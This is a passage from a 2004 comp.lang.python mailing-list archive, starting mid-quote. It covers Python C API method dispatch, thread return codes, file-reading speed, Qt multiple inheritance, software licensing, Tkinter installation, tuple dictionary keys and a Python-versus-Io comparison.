>closures I can just stick them on to the class. If I were to implement
>them as instances then I'd have to reimplement all the descriptors
>that take care of turning functions into bound or unbound methods.

Why not use callable instances?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From florianlink at gmx.de  Sat Feb 28 06:45:51 2004
From: florianlink at gmx.de (Florian Link)
Date: Sat, 28 Feb 2004 12:45:51 +0100
Subject: Python C Interface: finding out the called method's name in C
 PyMethod?
Message-ID: <5.2.0.9.0.20040228124547.00bb0c68@pop.gmx.net>

Purpose:  Dynamically multiplex PyMethodDefs to QT Slots

Hi,

I would like to create a PyObject using the C API which can dispatch calls 
to it's methods
to just ONE C function, which then forwards the call depending on the 
method name and argument types/number
to other classes.

E.g. I would dynamically create:

PyMethodDef methods_QObject[] = {
	{"method1", methodHandler, METH_VARARGS, NULL},
	{"method2", methodHandler, METH_VARARGS, NULL},
	{"method3", methodHandler, METH_VARARGS, NULL},
   ... more methods, read dynamically from a C++ Runtime system...
}


static PyObject *methodHandler(PyObject *sipSelf,PyObject *sipArgs)
{
   // Now my problem arises, all methods point to this dispatcher
   // and I would like to know the called method name something like:

   const char* method = Py_..._getCurrentInvocationName(sipSelf);

   // now do something dependend on method and sipArgs...
   qobject->qt_invoke(method,args)
}

Your will say, hey, why does he want to do that, since I could just 
implement "method1Handler", "method2Handler", ...

BUT, this would mean creating wrapper code like in the SIP library or SWIG 
etc. which needs to be compiled on each change.
I want to do it dynamically, since I have a generic way to forward the 
calls and I don't want to recreate the wrappers just to create
some dummy forwarders. I can create PyMethodDef dynamically, but I cannot 
create C forwarder functions dynamically.

So, it there a way to find out the called method name from a PyMethod C 
function?

Or maybe there is a way deeper in Python, can I extend the method 
dispatcher of a PyObject, so get all call before the lookup
to tp_dict is done?

best regards,
Florian 




From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Thu Feb 19 13:33:26 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Thu, 19 Feb 2004 19:33:26 +0100
Subject: Socket Programming in Python
In-Reply-To: <mailman.62.1077198942.27104.python-list@python.org>
References: <mailman.62.1077198942.27104.python-list@python.org>
Message-ID: <40350176$0$573$e4fe514c@news.xs4all.nl>

Premshree Pillai wrote:
> For the uninitiated: "Socket Programming in Python" at
> evolt.org: http://evolt.org/article/Socket_Programming_in_Python/17/60276/index.html

Hmm. I'd stick to http://www.amk.ca/python/howto/sockets/

But, ofcourse, only if you really need to use raw socket communication ;-)

--Irmen


From j-y.nief at wanadoo.fr  Sun Feb  8 10:12:36 2004
From: j-y.nief at wanadoo.fr (Jean-Yves Nief)
Date: Sun, 08 Feb 2004 16:12:36 +0100
Subject: retrieving a return code from a thread
Message-ID: <402651E4.1050509@wanadoo.fr>

hi all,

       I would like to know how I can retrieve in my main program the
return code from a thread that I launched:
class example(threading.Thread):

    def __init__(self, filename):
        self.filename = filename
        threading.Thread.__init__(self)
        self.start()

    def run(self):
         ........
         rc = os.system("command example")

in the main thread:
.....
thrdExample = []
thrdExample.append(example(file))
.....
# once it's not active anymore, test of the return code for
thrdExample[i] ??

thanks in advance,
JY






From http  Fri Feb 13 03:57:38 2004
From: http (Paul Rubin)
Date: 13 Feb 2004 00:57:38 -0800
Subject: Understanding CHMOD
References: <8089854e.0402130055.35ed927f@posting.google.com>
Message-ID: <7xy8r72w71.fsf@ruckus.brouhaha.com>

What's your question?  I think you need to look at the chmod(1) and
chmod(2) Linux man pages, not a Python manual.


From fake at fake.net  Wed Feb 25 13:29:07 2004
From: fake at fake.net (Andrei)
Date: Wed, 25 Feb 2004 19:29:07 +0100
Subject: Fast File Input
References: <c1iit0$2jj$1@news01.intel.com>
Message-ID: <17hgq7530uwnb.74u1mjdzjbb9$.dlg@40tude.net>

Scott Brady Drummonds wrote on Wed, 25 Feb 2004 08:35:43 -0800:

> Hi, everyone,
> 
> I'm a relative novice to Python and am trying to reduce the processing time
> for a very large text file that I am reading into my Python script.  I'm
> currently reading each line one at a time (readline()), stripping the
> leading and trailing whitespace (strip()) and splitting it's delimited data
> (split()).  For my large input files, this text processing is taking many
> hours.

An easy improvement is using "for line in sometextfile:" instead of
repetitive readline(). Not sure how much time this will save you (depends
on what you're doing after reading), but it can make a difference at
virtually no cost. You might also want to try rstrip() instead of strip()
(not sure if it's faster, but perhaps it is).

-- 
Yours,

Andrei

=====
Real contact info (decode with rot13):
cebwrpg5 at jnanqbb.ay. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V ernq
gur yvfg, fb gurer'f ab arrq gb PP.


From theller at python.net  Mon Feb 16 15:28:44 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 16 Feb 2004 21:28:44 +0100
Subject: Is there Multi-media support in Python ?
References: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
Message-ID: <lln2lqf7.fsf@python.net>

"Will" <wstandley at netpv.com> writes:

> Is there multi-media support in Python? So I can...
>
> 1 - play video in all the standard formats... windows & Mac?
> 2 - play flash files
> 3 - Power Point
> 4 - Standard graphic formats
> 5 - Sound in all the standard formats
> 6 - etc
>
> Please note requirements: And, on video's, flash files, Power Point, Graphic
> files, I need to have those show within my programs "window" along with some
> other text... so I need to be able to size the video and locate it in the
> window... so if the program simply pop's up the Windows Media Player or
> QuickTime or whatever as a separate window... no good... it all needs to be
> integrated into a single window along with text and other stuff...
>
> If so, is it in the standard release or has someone created a module just
> for multi-media integration?

Well, maybe pygame contains something like this.

OTOH, there's Henk Punt's venster library, which is based on the ctypes
module. (If you use windows you may want to look into ctypes anyway - it
allows to make windows api calls even when they are not wrapped by Mark
Hammond's win32all extensions.)

venster contains samples which embed the internet explorer webbrowser
control in a window, it can has a sample which plays flash files in a
window, and it shows how to embed the windows media player.

You can probably to something similar using the pythonwin application
framework in win32all (oh, wait, the official name is now pywin32) which
is based on a python wrapping of the mfc.

Thomas


From grahamd at dscpl.com.au  Sun Feb 29 01:55:38 2004
From: grahamd at dscpl.com.au (Graham Dumpleton)
Date: Sun, 29 Feb 2004 17:55:38 +1100
Subject: Licensing of wrappers around C/C++ code under more restrictive
	licensing.
In-Reply-To: <404173FA.3040503@rogers.com>
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>	<du7ishrmqsv.fsf@amadeus.cc.tut.fi>
	<dc6f5c99.0402281637.71f8a571@posting.google.com>
	<404173FA.3040503@rogers.com>
Message-ID: <48560634-6A84-11D8-B77C-000393DCF16E@dscpl.com.au>


On 29/02/2004, at 4:09 PM, Mike C. Fletcher wrote:

> Graham Dumpleton wrote:
>> So, how can one cast the licensing so as to provide an exception that
>> provided the underlying C/C++ library isn't changed, that the Python
>> wrappers can be used under a less restrictive license. I have control 
>> of
>> the licensing on both so can stipulate exceptions, but what is the
>> best way of doing it?
>>
> Sounds like what you really want is the LGPL for the C/C++ library?  
> That would keep the GPL-like restrictions for the C/C++ library, but 
> allow linking it into proprietary Python software.  It would *not* 
> however restrict based on whether it's a Python or C/C++ application 
> doing the linking.  It would also explicitly *not* prevent changes to 
> the C/C++ library (the whole point of Open Source licenses, 
> particularly GPL and LGPL being to allow the user to fix bugs and 
> change operation of the software).
>
> You could add a clause to your license doing something silly like 
> requiring that a Python DLL be linked into the process to enable the 
> less restrictive license, but doing that means that you've suddenly 
> got a non-standard license, which requires everyone to hire a lawyer 
> to explain it to them, check for incompatibilities with other 
> software, ad nauseam.
>
> Of course, the point of the GPL license (among other things) is to 
> strongly encourage others to use the license in order to give to users 
> access to ever-more GPL'd code.  The so-called "viral" effects are 
> intentional.  If I understand correctly, the QPL is basically a dual 
> license encouraging you to either pay Trolltech or GPL your software.  
> Finding ways *around* these licenses (I'm assuming that the QPL is 
> being inherited by including Qt or the like) might be considered rude 
> at the least if the license involves code which is not your own.
>
> So, my suggestion would be (assuming this is possible (you own *all* 
> copyrights involved)):
>
>    * Ditch QPL, license the C/C++ library as LGPL, license the Python
>      library as BSD/MIT or LGPL.
> ...

Thanks for the comments. It gives me more things to think about.

As far as ditching the QPL for the C/C++ library and using the LGPL, I 
am not sure
that I can. The whole situation is made more complicated for me, 
because although
I wrote all the code, it was originally developed while I worked for a 
specific
company. I did obtain a license from that company to continue to 
develop the code
and to distribute the result, including being able to sub-license 
others to also
distribute the code, but the language of that license may well prevent 
me from
applying a license such as the LGPL. This is because with the LGPL, 
someone could
cherry pick code out of the library and use it in something else to the 
extent that
the LGPL allows. At least I don't believe the LGPL would stop this 
although the
application or library which used the "cherry picked" code would itself 
have to be
LGPL or GPL I would imagine.

The reason why the QPL is working for me so far is that the QPL 
essentially restricts
someone to distributing it as is. That is, any changes must be 
distributed as a
separate patch. This in effect means that someone can't just cherry 
pick code from
it and use it separately. To that end I believe I am working within the 
spirit of
my original license obtained from the company who I was originally 
working for as
the manner in which I am licensing it and distributing it preserves the 
integrity
of the package and people in the main have to use it as distributed. 
They can still
make changes if they need to, but if distributing it further, these 
would have to
be as a patch.

I'll have to look more at my license for using the original code, but I 
think I would
be pushing it to release my current C++ code, based on the original 
code, under a
license that allows a free for all. My Python wrappers don't have this 
problem as
such because I developed them all on my own time and by itself it 
doesn't include
any of the original code. Now one may say that I should have negotiated 
a better
license on the original code, but this was back in 1993 before Open 
Source took
off to the extent that it has. It wasn't necessarily possible back then 
to anticipate
how things would change

Thanks again.




From gerrit at nl.linux.org  Sat Feb 14 17:18:39 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Sat, 14 Feb 2004 23:18:39 +0100
Subject: mailing list problems?
Message-ID: <20040214221839.GA22649@nl.linux.org>

Hi,

I have today seen only 5 mailing list messages to the python-list.
I see >30 messages in c.l.py newsgroup.
Do other people experience problems as well, or do I have a problem at my end?

Gerrit.

-- 
Weather in Twenthe, Netherlands 14/02 21:25 UTC:
	7.0??C   wind 1.3 m/s W (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From nuffsaid at phreaker.net  Fri Feb  6 09:48:17 2004
From: nuffsaid at phreaker.net (Nuff Said)
Date: Fri, 06 Feb 2004 15:48:17 +0100
Subject: Custom operator
References: <2066c50.0402051336.1e8e7ee4@posting.google.com>
	<20040205220748.GA8055@nl.linux.org>
	<mailman.1293.1076050687.12720.python-list@python.org>
Message-ID: <pan.2004.02.06.14.48.16.880307@phreaker.net>

On Fri, 06 Feb 2004 07:56:28 +0100, mathias.foehr wrote:

> I want to define new operators because mathematicians use special operators (
>          eg circle plus (+), circle times (*), arrows ->
> ) since centuries. It increases readability in this area and people have 
> got used to it.

But there are so many of them ... :-)

Mathematicians are e.g. also used to LaTeX terminology for
writing their papers; so it might be a better approach to 
define a set of functions, classes, methods etc. using names
from LaTeX (instead of trying to add 'real' new operators to
Python).

Moreover: observe, that e.g. oplus (+) has different meanings
(depending on what area of maths you are working in). The same
holds for almost all operators.

HTH / Nuff



From mwh at python.net  Thu Feb  5 07:29:20 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 5 Feb 2004 12:29:20 GMT
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<bvmmn5$t5a$1@news.rz.uni-karlsruhe.de>
	<m3oesgbhpo.fsf@pc150.maths.bris.ac.uk>
	<bvocsf$402$1@news.rz.uni-karlsruhe.de>
Message-ID: <m3oesdaew0.fsf@pc150.maths.bris.ac.uk>

Uwe Mayer <merkosh at hadiko.de> writes:

> Michael Hudson wrote:
> 
> > Uwe Mayer <merkosh at hadiko.de> writes:
> > 
> >> BTW: when doing m.i. you can't mix new-style and old-style objects, or
> >> else Python exits with a Segmentation Fault. :)
> > 
> > Uhh, really?  Example please.
> 
> Seems only to occur in connection with Qt. :( 

Ah, good, not a problem I can fix <wink>.

> Code as the one below, inheriting from some Qt Widget and using
> m.i. with new-style classes cause a Segmentation Fault on my
> machine:

Weird.  I take it you've reported this to the PyQT folks?

Cheers,
mwh

-- 
7. It is easier to write an incorrect program than understand a
   correct one.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From mcfletch at rogers.com  Tue Feb 24 16:30:50 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 24 Feb 2004 16:30:50 -0500
Subject: Thoughts about Python
In-Reply-To: <15c2d03b.0402241237.708cb4e8@posting.google.com>
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<15c2d03b.0402241237.708cb4e8@posting.google.com>
Message-ID: <403BC28A.9020507@rogers.com>

Marco Aschwanden wrote:
...

>Maybe I don't get the point here: Why do dictionaries need tuples to
>work? I know that tuples can be used as keys... but how many times do
>you need tuples as dictionary keys (it would be simple to turn a list
>into an immutable string if really needed ("::".join(["a","b"]). But
>maybe tuples are used within dictionary in a way I don't know. If you
>could clarify on this point I will never ever say anything about
>"useless" tuples... instead I will start asking for "immutable
>dictionaries" 8o)
>  
>
    x = [1,2]
    d = { x : 32 }
    x.append( 3 )
    d[ [1,2] ]

Does that last line raise a key-error, or return 32?  Tuples are useful 
as keys precisely because they are immutable, and hash based on their 
contents/value.  Mutable keys in dictionaries either need to be 
"identity" based (which is far less useful that "value" based, (as then 
you can only test whether a particular list is used as a key, not any 
list with the same value)), or have some funky book-keeping rules 
regarding what happens when the key changes (for example, convert the 
key to a tuple under the covers so that all further changes to the key 
are ignored in the dictionary).

To clarify regarding identity:

    x = (1,2)
    d = { x : 32 }
    d[ x ]
    d[ (1,2) ]

because they hash and compare based on value, tuples here can 
unambiguously be used as value-based keys.  With a list, were we to use 
identity-based comparisons:

    x = [1,2]
    d = { x : 32 }
    d[ x ] # would return a value
    d[ [1,2] ] # would raise a key-error,
    # defeating one of the most common usage patterns for
    tuples-in-dictionaries

while if we were to use value-based comparisons set at key-specification 
time:

    x = [1,2]
    d = { x: 32 }
    x.append( 3 ) # possibly done in another thread...
    del d[ x ] # would raise a key-error

to do lots of common operations (such as iterating through the keys of a 
dictionary and deleting those which meet a particular test) in this 
scenario you'd need to be able to return a static key in order to be 
sure not to have it mutate while you're working, so you'd need an 
exposed list-like immutable data-type (sound familiar).

Now, as shown above, we could do an explicit cast on setting a 
dictionary value to make a list a tuple "under the covers" and thus get 
back... but this is another "explicit is better than implicit" things.  
The magic would up and bite in debugging weird corner cases more times 
than it saved you a few seconds of thinking in the design stage.  We 
still have the static type, it would need to be dealt with in code, and 
it would be surprising to see it show up instead of the lists we 
originally used as the keys.

Using lists forced to strings would be a difficult sell even without the 
problems described above, particularly as you can quite readily have 
strings as keys already, so you get difficult-to-debug collisions where 
a string just happens to equal the string-ified list representation of 
some other value.  The "explicit is better than implicit" axiom of 
"import this" would then suggest that having an explicitly defined 
immutable type (tuple) that hashes by value and is used to set keys in a 
dictionary is a better choice than automagically coercing the lists to a 
hidden type (or a string).

Don't worry about asking questions like this, by the way, it's good for 
the perceptions of the community to be stirred every once in a while.  
Enjoy yourself,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/




From merkosh at hadiko.de  Tue Feb  3 09:57:24 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Tue, 03 Feb 2004 15:57:24 +0100
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<bvmmn5$t5a$1@news.rz.uni-karlsruhe.de>
	<m3oesgbhpo.fsf@pc150.maths.bris.ac.uk>
Message-ID: <bvocsf$402$1@news.rz.uni-karlsruhe.de>

Michael Hudson wrote:

> Uwe Mayer <merkosh at hadiko.de> writes:
> 
>> BTW: when doing m.i. you can't mix new-style and old-style objects, or
>> else Python exits with a Segmentation Fault. :)
> 
> Uhh, really?  Example please.

Seems only to occur in connection with Qt. :( 
Code as the one below, inheriting from some Qt Widget and using m.i. with
new-style classes cause a Segmentation Fault on my machine:

-- example --
from qt import QWidget, QApplication
import sys

class A:
    def __init__(self):
        print "in A"

class B(object):
    def __init__(self):
        print "in B"

class C(QWidget,A):
    def __init__(self):
        QWidget.__init__(self)
        A.__init__(self)
        print "in C"

class D(QWidget,B):
    def __init__(self):
        QWidget.__init__(self)
        B.__init__(self)

app = QApplication(sys.argv)
C() #works
D() #fails
-- example --

Ciao
Uwe


From aahz at pythoncraft.com  Thu Feb  5 16:10:18 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 16:10:18 -0500
Subject: Funnying the From (was: OT: Recommended news reader?)
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<y8rh9zfx.fsf@python.net> <10257t58fdgvi67@corp.supernews.com>
	<Xns9486923064F40VeebleFetzer@news.visi.com>
Message-ID: <bvubfq$a2l$1@panix1.panix.com>

In article <Xns9486923064F40VeebleFetzer at news.visi.com>,
Bert Hyman  <bert at visi.com> wrote:
>claird at lairds.com (Cameron Laird) wrote in
>news:10257t58fdgvi67 at corp.supernews.com: 
>>
>> I didn't know that "From:" *could* be customized through
>> common configurations.  Does anyone know how to set it
>> with trn(1)?  
>
>Does "trn" still post through the external "Pnews" program? If so,
>you can edit your post before sending it to include a "From:" header
>of your liking and the server ->should accept it. 
>
>The last time I saw it, Pnews was a Bourne shell program, so you
>could find the copy on your system, copy it and change it any way you
>like. 

That's exactly what I do, though it's also simple enough to change the
From: line manually.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From david.grant-NOSPAM at telus.net  Fri Feb 27 17:34:48 2004
From: david.grant-NOSPAM at telus.net (DG)
Date: Fri, 27 Feb 2004 17:34:48 -0500
Subject: Plotting modules
In-Reply-To: <pan.2004.02.27.14.31.31.60844@jeremysanders.net>
References: <c1m6vd$sij$2@rumours.uwaterloo.ca>
	<pan.2004.02.27.14.31.31.60844@jeremysanders.net>
Message-ID: <403FC608.1010008@telus.net>



Jeremy Sanders wrote:
> On Thu, 26 Feb 2004 20:36:45 -0500, DG wrote:
> 
> 
>>I need a plotting program this is:
>>-Cross platform (linux and windows) and can build into binary form, or 
>>easy to install form on linux and windows.
>>-Hopefully still maintained (unlike biggles)
>>-Easy to use (like scipy.gplt)
> 
> 
> I'm working on a PyQt-based plotting package called Veusz
> http://home.gna.org/veusz/ (not really ready for use yet).
> 
> Unfortunately AFAIK, there is no Free Edition of Qt for Windows, so it
> wouldn't be cross-platform enough for you.

Nice output.  Looks almost biggles-ish, maybe better.

Dave


From tjreedy at udel.edu  Thu Feb 12 14:12:42 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 12 Feb 2004 14:12:42 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <96F3EC4BDF504540BB9715CBE9DACB8B081B0DB2@pa-mail1.legato.com>
	<402BB684.4010807@prescod.net>
Message-ID: <c0gj7b$jl7$1@sea.gmane.org>


"Paul Prescod" <paul at prescod.net> wrote in message
news:402BB684.4010807 at prescod.net...
> Michael Pyle wrote:
> > try:
> >         sys.frozen
> > except AttributeError:
> >         options.append( 'debug-on' )
>
> A cleaner and probably more efficient way of doing this is:

Since I expect, based on old posts but without testing the current
interpreter, the fixed cost of hasattr to be between the two costs of
successful and exception-generating tries (the latter much higher), I would
expect relative efficiency to depend on the relative proportion of try
outcomes.  But the difference should seldom be enough to be a deal breaker
either way.

Regardless of speed, I like the below better.  The bare attribute access is
a bit jarring to me, though I can see how it might become an in-house
idiom.

> if not hasattr(sys, "frozen"):
> options.append("debug-on")

But for similar reasons, even if there were no use for bare names, I would
be opposed to breaking the currently simplicity of 'name recalls object'.
In any case, a Python compiler cannot, in general, know what type of object
a name will be bound to at runtime.  The parens following a name (or
expression) amount to a behavioral-type promise by the programmer that the
resulting object will be callable.  If not, then a *runtime* exception gets
raised.  In return, the interpreter promises to make the call if at all
possible.

Terry J. Reedy






From jcarlson at nospam.uci.edu  Sat Feb  7 14:36:44 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 11:36:44 -0800
Subject: Print function and spaces
In-Reply-To: <mailman.1329.1076157434.12720.python-list@python.org>
References: <mailman.1321.1076116070.12720.python-list@python.org>	<c01q0g$p7q$1@news.service.uci.edu>
	<mailman.1329.1076157434.12720.python-list@python.org>
Message-ID: <c03esp$bf2$1@news.service.uci.edu>

>     Josiah> I could have sworn there was a function to disable/enable
>     Josiah> placing spaces between objects printed using the print
>     Josiah> statement.  I've looked all over, but I couldn't find it, so
>     Josiah> apparently it doesn't exist.
> 
> I think file().softspace is what you're looking for.

That is it.  Checking the docs, it doesn't seem to do what I thought it 
did, nor what the parent author had desired, and testing confirms this.

Ah well.
  - Josiah


From fpetermaas at netscape.net  Wed Feb 25 09:43:45 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Wed, 25 Feb 2004 15:43:45 +0100
Subject: Locate python home
In-Reply-To: <mailman.90.1077703253.8594.python-list@python.org>
References: <c1ho3e$2g8h$1@news.uit.no>
	<c1hp3a$71e$1@swifty.westend.com>	<c1hqsb$2h4v$1@news.uit.no>
	<mailman.90.1077703253.8594.python-list@python.org>
Message-ID: <c1ic9r$p57$1@swifty.westend.com>

Mike C. Fletcher wrote:
> Thomas Aanensen wrote:
> Never trust the assumption:
> 
>  >>> import os
>  >>> os.path.isfile( os.path.join(os.path.dirname( sys.executable ), 
> 'python.exe' ))
> False

If Thomas wants to find the console version he should start a
console script: python checkpath.py (assuming python is in the
PATH). sys.executable delivers always the executable that executes
the script. If python is not in the PATH there's no safe way to
find python.exe as far as I know.

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From jcb at iteris.com  Fri Feb 20 01:03:51 2004
From: jcb at iteris.com (MetalOne)
Date: 19 Feb 2004 22:03:51 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <92c59a2c.0402192203.66ee4f16@posting.google.com>

I don't like the syntax.  I find the indentation counter-intuitive.


From bubbarichau at warmmail.com  Wed Feb 25 15:09:02 2004
From: bubbarichau at warmmail.com (rich hammett)
Date: Wed, 25 Feb 2004 20:09:02 -0000
Subject: Tkinter on RedHat Linux 9.0
References: <b9jnb5$1mt8$1@reader.nmix.net>
	<pan.2003.05.13.22.38.11.699116@goodweb.de>
	<103pvjni4vc587e@corp.supernews.com>
Message-ID: <103q06u9koeq30e@corp.supernews.com>

Sen j?lkeen, kun Perry Mason oli pahoinpidellyt
h?nt?, rich hammett yll?tti tuomarin todistamalla:
> Sen j?lkeen, kun Perry Mason oli pahoinpidellyt
> h?nt?, Thomas Korb yll?tti tuomarin todistamalla:
>> On Sat, 10 May 2003 14:34:05 -0600, Don Donigan wrote:
>>>
>>> Can anyone tell me how to install Tkinter on RedHat Linux 9.0?
>>> I have not need successfull as of yet. Thanks in advance.
>>>

>> You have to install the following 4 RPM packages:

>> 	1. python   2. tcl   3. tk   4. tkinter

> Is there any way to update the python.org webpage for
> Tkinter?  It currently says you never need to download
> tkinter separately, which has had me chasing my tail
> here for a few days.

In fact, the python rpm from redhat CLAIMS to include
Tkinter already.  I'm pretty sure it doesn't.

rich

> rich

>> Use 'rpm -qi <packagename>' to see, which packages are already
>> installed on your system (e.g.: rpm -qi tkinter).

>> To install a package, use 'rpm -ihv <packagefile>'. This command
>> will i.p. tell you, if other packages must be installed first 
>> (e.g. 'itcl' or 'tix' might be necessary).

>> You will find the RPM 'packagefiles' on your Red Hat 9 CDs, but
>> it is often easier (and faster) to download them directly from the
>> Red Hat Network (http://rhn.redhat.com) or from any other good RPM
>> archive.



-- 
-to reply, it's hot not warm
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
\  Rich Hammett       http://home.hiwaay.net/~rhammett
/  "Better the pride that resides in a citizen of the world;
\   than the pride that divides
/                     when a colorful rag is unfurled."


From LittleDanEhren at yahoo.com  Mon Feb  2 19:48:12 2004
From: LittleDanEhren at yahoo.com (Daniel Ehrenberg)
Date: 2 Feb 2004 16:48:12 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>
	<d6ed4cf175ae626f7af3e1b3ee448bf4@news.teranews.com>
Message-ID: <711c7390.0402021648.325d7760@posting.google.com>

> If you've switch from Python to Io, what will you do with the answers
> to these questions?  Use them for good or evil?  Will you switch back
> from Io to Python?
>     --dang

If there are good enough responses, I'll use Python. I just wanted to
know a reason why Python is better. Also, these responses might be
used to make Io better (since it's a young language).

Daniel Ehrenberg


From loic at yermat.net1.nerim.net  Mon Feb 23 17:24:40 2004
From: loic at yermat.net1.nerim.net (Yermat)
Date: Mon, 23 Feb 2004 23:24:40 +0100
Subject: Library for handling GNU parameters
In-Reply-To: <403A7946.378FE946@engcorp.com>
References: <c1dspf$8o5$05$1@news.t-online.com> <403A7946.378FE946@engcorp.com>
Message-ID: <c1duia$2s0v$1@biggoron.nerim.net>

Peter Hansen a ?crit :
> Florian Lindner wrote:
> 
>>is there a python library available for handling GNU parameters. For
>>example:
>>
>>prog --filename=foo.bar   is the same as  prog -f foo.bar
>>
>>or
>>
>>prog --execute   ==  prog -e
>>
>>I look for a library for parsing these string and represent the values in a
>>list.
> 
> 
> The standard library module getopt can do that, at least for the sort
> of example you show, and I suspect the newer standard library module
> optparse could also handle it (but haven't tried myself).
> 
> -Peter

Standard Module optparse

http://www.python.org/doc/2.3.3/lib/module-optparse.html

Note that if you do not have python2.3 you can just put the optparse.py 
and put it in you python2.2 directory, it will work !

-- 
Yermat



From noemail at noemail4u.com  Fri Feb  6 16:34:41 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Fri, 06 Feb 2004 21:34:41 GMT
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
Message-ID: <ae244d5bc6071d6fa5203428a7f62c01@news.teranews.com>

On 5 Feb 2004 19:30:42 -0800, crescent_au at yahoo.com (Ben) wrote:

>I still need to ask something... Let me be more specific. I wanna
>create a web page where I want to put photos taken by me... There are
>lots of them. I also want to include a search capability in my web
>page for users to search my photos by name (topic)... For this, I
>would like to use a database which includes the location of my photos
>on the server along with names and sizes... I would also like to make
>it easier for me to add more photos in the future with ease. Also if
>possible, try to generate html pages on the fly as I upload photos on
>the server. In other words, I wanna make my web design efficient with
>least amount of manual work. Well, this is pretty much the scenario.
>
>What do you think would be a best design technique that I should
>follow? I know Dreamweaver, Python, Java, JavaScript, CGI using
>python, C, C++... What programming languages do I need to learn in
>order to accomplish my task? If I need to choose between ASP and JSP,
>I'd rather go for JSP cause it'll be easier for me to migrate as I
>don't know much about VB, Jscript and C#. What are some of your
>recommendations?

I don't want to sound like a heretic (cuz I'm not religious about
languages), but from the sounds of your requirements and current
knowledge base, PHP will satisfy your needs in the most direct
fashion.  It's easy to learn and can be worked in with DreamWeaver.

You can use mySql (sp?) with PHP to map keywords/search criteria to
the filenames of your photos.  Your PHP code will take the user's
input, form an SQL statement to determine which photos to display, and
then put them into a web page.  Poof!

    --dang
p.s.
I only spearminted with PHP for a little while, and am no expert.  
But as I said, based on your requirements, I think it fits the bill.


From LittleDanEhren at yahoo.com  Sun Feb  1 14:26:44 2004
From: LittleDanEhren at yahoo.com (Daniel Ehrenberg)
Date: 1 Feb 2004 11:26:44 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>	<qnkfzdyieg0.fsf@arbutus.physics.mcmaster.ca>	<711c7390.0401301710.4353274@posting.google.com>	<bvf6kc$2v$2@news.service.uci.edu>	<711c7390.0401311220.763be80a@posting.google.com>
	<mailman.1085.1075598722.12720.python-list@python.org>
Message-ID: <711c7390.0402011126.23590f05@posting.google.com>

> I've always presumed that if I wanted an ultra-pure OO language I would 
> use Smalltalk. Obviously IO's big difference is prototype rather than 
> class-based inheritance. But that's a difference, not (necessarily) a 
> benefit. Could you please describe what would attract one to IO over 
> Smalltalk?
> 
>   Paul Prescod

In short, Io isn't as "ultra-pure" as Smalltalk. Here are some things
that Io supports and Smalltalk doesn't:
*Standard operator precedence
*Normal function syntax
*Standalone functions
*Everything is public (like Python)
*Interpreted and no monolithic system image like Smalltalk
*Better block syntax (no cryptic square brackets or variable symbols)
*Prototypes (which *is* a benefit, not just a difference)
*Not obsessively object oriented (for stuff like flow control)
*Growing, not shrinking community
*Inplace mathematical operations
*Much smaller implimentation and good for embedding
*More flexible for syntax extension
*Everything is anonymous (yet there is still some introspection for
names)
*Functions are first class objects, not merely messages
*The ability to change what it inherets from
*More flexible scoping
*Writing self can be left out when sending messages to the current
object
*Speed on par with Python
*Optionally non-strict functions (but usually strict anyway)

Note that Python lacks some of these things too.

Daniel Ehrenberg


From frank at chagford.com  Fri Feb  6 00:09:01 2004
From: frank at chagford.com (Frank Millman)
Date: 5 Feb 2004 21:09:01 -0800
Subject: Any problems with *lots* of attributes?
References: <246a4e07.0402040703.2be902a9@posting.google.com>
	<bvrgdn$t76$1@panix1.panix.com>
	<246a4e07.0402042327.5192034a@posting.google.com>
	<bvthm3$nt1$1@panix2.panix.com>
Message-ID: <246a4e07.0402052109.3992aeba@posting.google.com>

